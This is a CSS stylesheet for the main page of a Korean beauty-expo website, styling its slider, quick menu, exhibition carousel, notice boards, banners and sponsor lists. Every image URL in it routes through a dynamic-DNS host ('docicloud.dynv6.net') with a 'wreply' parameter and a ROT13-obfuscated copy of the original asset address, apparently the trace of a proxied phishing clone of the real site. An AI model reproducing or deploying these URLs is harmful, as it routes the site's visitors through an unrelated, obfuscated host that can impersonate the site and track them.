@charset "utf-8";

/* 본문 */
#main.container {width: 100%;}
#main.container .main-inner {position: relative; max-width: 1600px; width: 100%; height: 100%; margin: 0 auto;}

@media (max-width: 1920px) {
    #main.container .main-inner {padding: 0 40px;}
    #main.container .main-inner.cont-wrap {padding: 80px 40px;}
}






/*== 메인 비주얼 영역 ==*/
#visual-sect.visual {position: relative; width: 100%; height: 100vh; background-color: #747474;}
.visual .visual-wrap {position: relative; width: 100%; height: 100%;}



/* 슬라이드 */
.visual-wrap .swiper {position: absolute; top: 0; left: 0; width: 100%; height: 100%;}
.visual-wrap .swiper .swiper-slide {position: relative; width: 100%; height: 100%; background-repeat: no-repeat; background-position: center; background-size: cover;}
.visual-wrap .swiper .swiper-slide::after {display: block; content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.6);}
.visual-wrap .swiper .slide_01 {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Sivfhny_vzt001.wct);}
.visual-wrap .swiper .slide_02 {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Sivfhny_vzt002.WCT);}
.visual-wrap .swiper .slide_03 {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Sivfhny_vzt003.WCT);}
.visual-wrap .swiper .slide_04 {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Sivfhny_vzt004.wct);}
.visual-wrap .swiper .slide_05 {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Sivfhny_vzt005.wct);}

.expo-wrap {position: relative; top: 50%; transform: translateY(-50%); width: 100%; text-align: center; color: #fff; z-index: 99}

.expo-wrap .expo-tit {margin-bottom: 100px;}
.expo-wrap .expo-tit .eng {display: block; margin-bottom: 10px; transition: all 0.3s ease; margin-bottom: 10px; font-family: 'Geologica'; font-weight: var(--fws-light); font-size: 3.6rem;}
.expo-wrap .expo-tit .kor {transition: all 0.3s ease; margin-bottom: 40px; font-family: 'JalnanGothic'; font-size: 8.8rem; font-weight: var(--fws-regular); line-height: 130%;}
.expo-wrap .expo-tit .mobile-only {display: none;}
.expo-wrap .expo-info {display: flex; gap: 0 30px; justify-content: center;}
.expo-wrap .expo-info strong {transition: all 0.3s ease;  font-size: 3.6rem; letter-spacing: -0.04em; font-weight: var(--fws-semibold);}
.expo-wrap .expo-info strong span {margin-right: 8px; font-size: 2.8rem; font-weight: var(--fws-medium);}
.expo-wrap .quick-menu {display: flex; justify-content: space-between; gap: 20px; flex-wrap: wrap; width: 80%; margin: 0 auto;} 
.expo-wrap .quick-menu li {position: relative; width: calc((100% - 60px) / 4); text-align: left; border-radius: var(--br-8); border: 2px solid transparent; transition: all 0.3s ease;  background-color: var(--color-primary-5);}
.expo-wrap .quick-menu li:hover {border: 2px solid #fff; background-color: var(--color-point-10);}
.expo-wrap .quick-menu li i {display: block; width: 28px; height: 28px; margin-bottom: 8px;}
.expo-wrap .quick-menu li:nth-child(1) i {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_dhvpx_001.fit) no-repeat center/contain;}
.expo-wrap .quick-menu li:nth-child(2) i {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_dhvpx_002.fit) no-repeat center/contain;}
.expo-wrap .quick-menu li:nth-child(3) i {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_dhvpx_003.fit) no-repeat center/contain;}
.expo-wrap .quick-menu li:nth-child(4) i {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_dhvpx_004.fit) no-repeat center/contain;}
.expo-wrap .quick-menu li a {display: block; width: 100%; height: 100%; padding: 20px 36px; font-size: 2.4rem; font-weight: var(--fws-medium); letter-spacing: -0.04em;}
.expo-wrap .quick-menu li::after {display: block; content: ''; position: absolute; bottom: 20px; right: 32px; width: 48px; height: 32px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_tb.fit) no-repeat center/contain;}

/* 퀵메뉴 툴팁 */
.expo-wrap .quick-menu li:hover .tooltip {visibility: visible; opacity: 1; transform: translate(-50%, -20px)}
.expo-wrap .quick-menu .tooltip {visibility: hidden; opacity: 0; position: absolute; top: -25px; left: 50%; transform: translate(-50%, 0); width: 300px; height: 100px; text-align: center; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Sgbbygvc_ot.fit) no-repeat center; transition: all 0.5s ease}
.expo-wrap .quick-menu .tooltip .txt {position: absolute; top: 20px; left: 50%; transform: translateX(-50%); display: block; width: 100%; line-height: 120%; letter-spacing: -1px; color: var(--color-primary-20); font-size: 1.5rem;}
.expo-wrap .quick-menu .tooltip .txt .small {display: block; font-size: 1.2rem;}


@media (max-width: 1920px) {
	.expo-wrap .quick-menu li {}
}

@media (max-width: 1600px) {
    .expo-wrap .expo-tit .eng {font-size: clamp(1.8rem, 3vw, 3.6rem);}
    .expo-wrap .expo-tit .kor {font-size: clamp(3rem, 8vw, 7.6rem);}
    .expo-wrap .expo-info strong {font-size: 3.2rem;}
    .expo-wrap .expo-info strong span {font-size: 2.4rem;}
    .expo-wrap .quick-menu li a {font-size: 2rem;}
    .expo-wrap .quick-menu li i {width: 24px; height: 24px; margin-bottom: 4px;}
}

@media (max-width: 1280px) {
    .expo-wrap .expo-tit .kor {margin-bottom: 20px;}
    .expo-wrap .quick-menu li {width: calc((100% - 20px) / 2);}
    .expo-wrap .expo-tit {margin-bottom: 80px;}
}

@media (max-width: 1024px) {
    .expo-wrap .expo-tit .kor .mobile-only {display: block;}
    .expo-wrap .expo-info {flex-direction: column; gap: 4px 30px;}
    .expo-wrap .expo-info strong {font-size: 2.8rem;}
    .expo-wrap .expo-info strong span {font-size: 2rem;}
    .expo-wrap .quick-menu .tooltip {display: none !important;}
}

@media (max-width: 768px) {
    .expo-wrap .expo-tit {margin-bottom: 40px;}
    .expo-wrap .expo-tit .eng .mobile-only {display: block;}
    .expo-wrap .quick-menu li::after {display: none;}
    .expo-wrap .quick-menu li a {padding: 18px 26px;}
    .expo-wrap .expo-info strong {font-size: 2rem;}
    .expo-wrap .expo-info strong span {font-size: 1.8rem;}
}

@media (max-width: 640px) {
    .expo-wrap .quick-menu li {width: 100%;}
    .expo-wrap .quick-menu li::after {display: block;}
    .expo-wrap .quick-menu li a {font-size: 1.8rem;}
    .expo-wrap .quick-menu li i {width: 20px; height: 20px;}
    .expo-wrap .quick-menu li::after {width: 40px; height: 32px; right: 26px;}
}

@media (max-width: 480px) {
	.expo-wrap .quick-menu li i {width: 16px; height: 16px;}
	.expo-wrap .quick-menu li::after {display: none;}
}



/*== 메인 콘텐츠 영역 ==*/
#main .cont-wrap {width: 100%; display: flex; flex-wrap: wrap; gap: 80px 100px; padding: 80px 0;}
#main .cont-wrap section {width: calc((100% - 100px) / 2);}

.main-sect .tit-box{margin-bottom: 20px;}
.main-sect .tit-box .tit {transition: all 0.3s ease; font-size: 4rem; font-weight: var(--fws-semibold); letter-spacing: -0.025em; color: var(--color-black-90);}

@media (max-width: 1280px) {
    #main .cont-wrap {gap: 80px 60px;}
    #main .cont-wrap section {width: calc((100% - 60px) / 2);}
    .main-sect .tit-box {margin-bottom: 16px;}
    .main-sect .tit-box .tit {font-size: 3.2rem;}
}

@media (max-width: 1024px) {
    #main .cont-wrap {flex-direction: column;}
    #main .cont-wrap section {width: 100%;}
}

@media (max-width: 768px) {
    .main-sect .tit-box .tit {font-size: 2.6rem;}
    #main .cont-wrap {gap: 60px;}
}

/* 홍보영상 */
.video-sect .video-wrap {width: 100%; overflow: hidden; border-radius: var(--br-8); background-color: #888; aspect-ratio: 16/9;}
.video-box {position: relative;
   width:100%;height: 100%;}
.video-box iframe {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  border: 0;
}
/* 온라인전시관 */
.exhibition-sect .category-swiper-wrap {position: relative; width: 100%; height: fit-content;}

.category-swiper .swiper-slide:hover .imgBox .view-more {opacity: 1;}
.category-swiper .swiper-slide:hover .category-label .eng,
.category-swiper .swiper-slide:hover .category-label .kor {color: var(--color-point-20);}
.category-swiper .swiper-slide .imgBox {width: 100%; aspect-ratio: 360/347; margin-bottom: 16px; border-radius: var(--br-8); background-color: #dbdbdb;}
.category-swiper .swiper-slide:nth-child(1) .imgBox {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Srkuvovgvba_001.wct) no-repeat center/cover;}
.category-swiper .swiper-slide:nth-child(2) .imgBox {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Srkuvovgvba_002.wct) no-repeat center/cover;}
.category-swiper .swiper-slide:nth-child(3) .imgBox {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Srkuvovgvba_003.wct) no-repeat center/cover;}
.category-swiper .swiper-slide:nth-child(4) .imgBox {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Srkuvovgvba_004.wct) no-repeat center/cover;}
.category-swiper .swiper-slide:nth-child(5) .imgBox {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Srkuvovgvba_005.wct) no-repeat center/cover;}
.category-swiper .swiper-slide:nth-child(6) .imgBox {background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Srkuvovgvba_006.wct) no-repeat center/cover;}
.category-swiper .swiper-slide .imgBox .view-more {position: relative; display: flex; justify-content: center; align-items: center; width: 100%; height: 100%; opacity: 0; transition: opacity 0.3s ease; }
.view-more span {display: block; padding: 6px 16px; border-radius: 50px; border: 1px solid #fff; font-family: 'Geologica'; font-weight: var(--fws-light); font-size: 1.8rem; color: #fff; position: relative; z-index: 10;}
.category-swiper .swiper-slide .imgBox .view-more::before {display: block; content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; border-radius: var(--br-8); background: rgba(0,0,0,0.4); z-index: 1;}

.category-swiper .category-label {display: flex; flex-direction: column; gap: 2px 0; padding-left: 4px;}
.category-label .eng {font-family: 'Geologica'; font-weight: var(--fws-light); font-size: 1.4rem; color: var(--color-black-70);}
.category-label .kor {font-weight: var(--fws-medium); font-size: 2.4rem;line-height: 1}

 
.swiper-button-prev.custom-prev,
.swiper-button-next.custom-next {position: absolute;  width: 52px;  height: 52px;  background: #fff;  border-radius: 100%;  border: 1px solid var(--color-gray-5);  box-shadow: 0 4px 4px rgba(0,0,0,0.1);transform: translateY(-50%);}
.swiper-button-prev.custom-prev {top: 50%; left: -26px;}
.swiper-button-next.custom-next {top: 50%; right: -26px;}
.swiper-button-prev.custom-prev::after {display: block;content: '';width: 24px;height: 24px;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Sneebj_ceri.fit);}
.swiper-button-next.custom-next::after {display: block;content: '';width: 24px;height: 24px;background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Sneebj_arkg.fit);}
@media (max-width: 1280px) {
    .category-label .eng{font-size:1.3rem}
    .category-label .kor {font-size: 2rem}
}

@media (max-width: 768px) {
    
    .swiper-button-prev.custom-prev,
    .swiper-button-next.custom-next {width: 40px; height: 40px;}
    .swiper-button-prev.custom-prev {left: 10px;}
    .swiper-button-next.custom-next {right: 10px;}
}

/* 공지사항, 보도자료 */
.notice-sect .tit-box,
.news-sect .tit-box {display: flex; justify-content: space-between; align-items: center; margin-bottom: 16px;}

.main-sect .more {transition: all 0.3s ease; font-family: 'Geologica'; font-size: 1.8rem; font-weight: var(--fws-regular);}
.main-sect .more:hover {color: var(--color-point-20);}
.main-sect .more:hover i {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_zber_2.fit);}
.main-sect .more i {display: inline-block; width: 12px; height: 12px; margin-left: 6px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_zber.fit) no-repeat center/contain; transition: all 0.3s ease;}

.board-lst {border-top: 2px solid var(--color-black-90);}
.board-lst li {border-bottom: 1px solid var(--color-gray-30); transition: background 0.3s ease;}
.board-lst li:hover {background: var(--color-gray-5);}
.board-lst li a {display: flex; flex-direction: column; gap: 10px; padding: 20px 4px; letter-spacing: -0.025em;}
.board-lst li .tit {font-size: 2rem; font-weight: var(--fws-medium); color: var(--color-black-90);}
.board-lst li .date {font-family: 'Geologica'; font-size: 1.6rem; font-weight: var(--fws-light); color: var(--color-black-70);}

.board-lst .no-result p {display: block; width: 100%; padding: 24px 12px;}

@media (max-width: 768px) {
    .main-sect .more {font-size: 1.4rem;}
    .board-lst li .tit {font-size: 1.8rem;}
    .board-lst li .date {font-size: 1.4rem;}
}

/* 띠배너 */
.marquee-banner {position: relative; width: 100%; height: 80px; overflow: hidden; background: linear-gradient(90deg, #DAF9FD 0%, #F9D5EB 100%);}
.marquee-banner:hover .marquee-inner {animation-play-state: paused;}
.marquee-inner {display: flex; gap: 0 30px; align-items: center; width: 100%; height: 100%; animation: scroll-marquee 20s linear infinite; flex-wrap: nowrap; /* 필수: 줄바꿈 방지 */}
.marquee-banner .lst {display: flex; flex-shrink: 0; height: 100%; align-items: center; gap: 0 30px; color: var(--color-point-5); font-size: 2.8rem; letter-spacing: -0.025em; font-weight: var(--fws-medium);}
.marquee-banner .lst li {white-space: nowrap; flex-shrink: 0;}

@keyframes scroll-marquee {
  0%   { transform: translateX(0); }
  100% { transform: translateX(-100%); }
}

@media (max-width: 768px) {
    .marquee-banner {height: 60px;}
    .marquee-banner .lst {font-size: 2rem;}
}

/* 후원협찬 */
.banner-sect {width: 100%; padding: 60px 0; transition: all 0.3s ease; background: #fafafa;}
.banner-sect .tit.small {margin-bottom: 40px; font-size: 2.6rem; text-align: center; transition: all 0.3s ease;}
.banner-sect .banner-wrap {overflow: hidden;}
.banner-sect .banner-row {display: flex; gap: 30px; white-space: nowrap; width: max-content; }
.banner-sect .banner-row .item {display: flex; flex: 0 0 auto; align-items: center; justify-content: center; width: 260px; height: 80px; padding: 12px 16px; transition: all 0.3s ease;}
.banner-sect .banner-row .item img {width: 100%; max-height: 100%;  object-fit: contain;}

.banner-sect .banner-row.row1 {margin-bottom: 24px; animation: marquee-left 60s linear infinite;}
.banner-sect .banner-row.row2 {animation: marquee-right 75s linear infinite;}

@keyframes marquee-left {
  from { transform: translateX(0); }
  to   { transform: translateX(-50%); } /* 전체 길이의 절반 이동 */
}

@keyframes marquee-right {
  from { transform: translateX(-50%); }
  to   { transform: translateX(0); }
}

@media (max-width: 1024px) {
    .banner-sect .banner-row {gap: 24px;}
    .banner-sect .banner-row .item {width: 220px; height: 68px;}
    .banner-sect .banner-row.row1 {margin-bottom: 16px;}
}

@media (max-width: 768px) {
    .banner-sect .tit.small {margin-bottom: 20px; font-size: 2.2rem;}
    .banner-sect .banner-row {gap: 16px;}
    .banner-sect .banner-row .item {width: 180px; height: 55px;}
    .banner-sect .banner-row.row1 {margin-bottom: 12px;}

    .banner-sect .banner-row.row1 {margin-bottom: 24px; animation: marquee-left 30s linear infinite;}
    .banner-sect .banner-row.row2 {animation: marquee-right 45s linear infinite;}
}

@media (max-width: 480px) {
    .banner-sect .banner-row {gap: 6px;}
}

/* 스폰서 */
.sponsors-sect {position: relative; width: 100%; padding: 60px 40px; transition: all 0.3s ease}
.sponsors-sect .lst-wrap {display: flex; flex-wrap: wrap;  gap: 30px 60px; justify-content: center; align-items: flex-start;}
.lst-wrap .sponsor-lst {display: flex; gap: 16px 30px; align-items: center;}
.lst-wrap .sponsor-lst .tit {font-size: 1.8rem; font-weight: var(--fws-medium); letter-spacing: -0.04em;}
.lst-wrap .sponsor-lst .lst {display: flex; flex-wrap: wrap; gap: 20px;}
.lst-wrap .sponsor-lst .lst li {width: 240px; height: 75px;}
.lst-wrap .sponsor-lst .lst li a {display: inline-flex;  width: 100%; height: 100%; padding: 12px 16px; border: 1px solid var(--color-gray-30); border-radius: var(--br-8); background-color: #fff;}
.lst-wrap .sponsor-lst .lst li a img {width: 100%; height: 100%; object-fit: contain;}

@media (max-width: 1024px) {
	.sponsors-sect .lst-wrap {flex-direction: column;}
	.lst-wrap .sponsor-lst .tit {padding-left: 4px;}
    .lst-wrap .sponsor-lst .lst {width: 100%; gap: 12px;}
    .lst-wrap .sponsor-lst .lst li {width: 220px; height: 69px;}
}

@media (max-width: 768px) {
    .sponsors-sect {padding: 0;}
    #main.container .sponsors-sect .main-inner {padding: 44px 20px;}
    .sponsors-sect .lst-wrap {gap: 24px;}
    .lst-wrap .sponsor-lst {flex-direction: column; align-items: flex-start; width: 100%;}
    .lst-wrap .sponsor-lst .lst li {width: calc((100% - 12px) / 2); height: 56px;}
    .lst-wrap .sponsor-lst .lst li a {padding: 6px 12px;}
    
}

@media (max-width: 768px) {
    #main.container .main-inner {padding: 0 20px;}
    #main.container .main-inner.cont-wrap {padding: 60px 20px;}
    
}

@media (max-height:900px) {
    #main.container .main-inner {padding: 100px 20px;}
    #visual-sect.visual .main-inner {padding: 130px 20px}
    #main.container .sponsors-sect .main-inner {padding: 44px 20px;}
    .expo-wrap{top:auto;transform: translateY(0);}
    #visual-sect.visual{ height:auto}
}

.float-memu{position:fixed;right:0;top:50%;transform: translate(-50px, -50%);width:120px;height:auto;display:flex;gap:8px;flex-direction:column;z-index:100;}
.float-memu .fm{width:100%;aspect-ratio: 1/1;background:rgba(255, 255, 255, .3);backdrop-filter: blur(10px);border-radius:10px;border: 2px solid transparent; text-align:center;color:#fff;transition: border-color 0.3s ease, box-shadow 0.3s ease;}
.float-memu .fm:not(.fm-04):hover {border: 2px solid #fff; box-shadow: 0 0 12px rgba(0,0,0, 0.3);}

.float-memu .fm:not(.fm-04) a{display:flex;flex-direction:column;gap:10px;align-items:center;justify-content:center;font-size:18px;line-height:1.2;width:100%;height:100%;}
.float-memu .fm:not(.fm-04) a::before{content:'';width:32px;height:26px;background-position:50%;background-repeat:no-repeat;background-size:contain;}
.float-memu .fm.fm-01 a::before{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_sybng_001.fit);}
.float-memu .fm.fm-02 a::before{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_sybng_002.fit);}
.float-memu .fm.fm-03 a::before{background-image:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_sybng_003.fit);}

.float-memu .fm.fm-04{width:100%;height:100%;display:flex;flex-wrap:wrap; border: none;}
.float-memu .fm.fm-04::after{content:'';display:block;background:rgba(255,255,255,.25);width:100%;height:1px;position:absolute;left:0;top:50%}
.float-memu .fm.fm-04::before{content:'';display:block;background:rgba(255,255,255,.25);width:1px;height:100%;position:absolute;left:50%;top:0}
.float-memu .fm.fm-04:hover {box-shadow: 0 0 12px rgba(0,0,0, 0.3);}
.float-memu .fm.fm-04 a{display:flex;flex:0 0 50%;align-items: center;justify-content: center; border: 2px solid transparent; transition: border-color 0.3s ease}
.float-memu .fm.fm-04 a:nth-child(1) {border-radius: 10px 0 0 0;}
.float-memu .fm.fm-04 a:nth-child(2) {border-radius: 0 10px 0 0;}
.float-memu .fm.fm-04 a:nth-child(3) {border-radius: 0 0 0 10px;}
.float-memu .fm.fm-04 a:nth-child(4) {border-radius: 0 0 10px 0 ;}


.float-memu .fm.fm-04 a .ico{ width: 28px; height: 28px; background-position: center; background-size: contain; background-repeat: no-repeat;}
/*.float-memu .fm.fm-04 a:nth-child(1),
.float-memu .fm.fm-04 a:nth-child(3){border-right:2px solid rgba(255, 255, 255, .5);}
.float-memu .fm.fm-04 a:nth-child(1),
.float-memu .fm.fm-04 a:nth-child(2){border-bottom:2px solid rgba(255, 255, 255, .5);}*/



.float-memu .fm.fm-04 a:hover {border: 2px solid #fff}

.float-memu .fm.fm-04 {background: #fff;}
.float-memu .fm.fm-04 a .ico.fb {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_so.fit);}
.float-memu .fm.fm-04 a .ico.insta {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_vafgn.fit);}
.float-memu .fm.fm-04 a .ico.yt {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_lg.fit);}
.float-memu .fm.fm-04 a .ico.blog {background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Srat.bfbatornhglrkcb.xe%2Spff%2S..%2Svzntrf%2Svpb_oybt.fit);}

.float-memu.light .fm { background:rgba(255, 255, 255, .3);}
.float-memu.dark .fm { background: rgba(0, 0, 0, 0.4); }

@media (max-width: 1600px) {
      .float-memu {display: none;}
}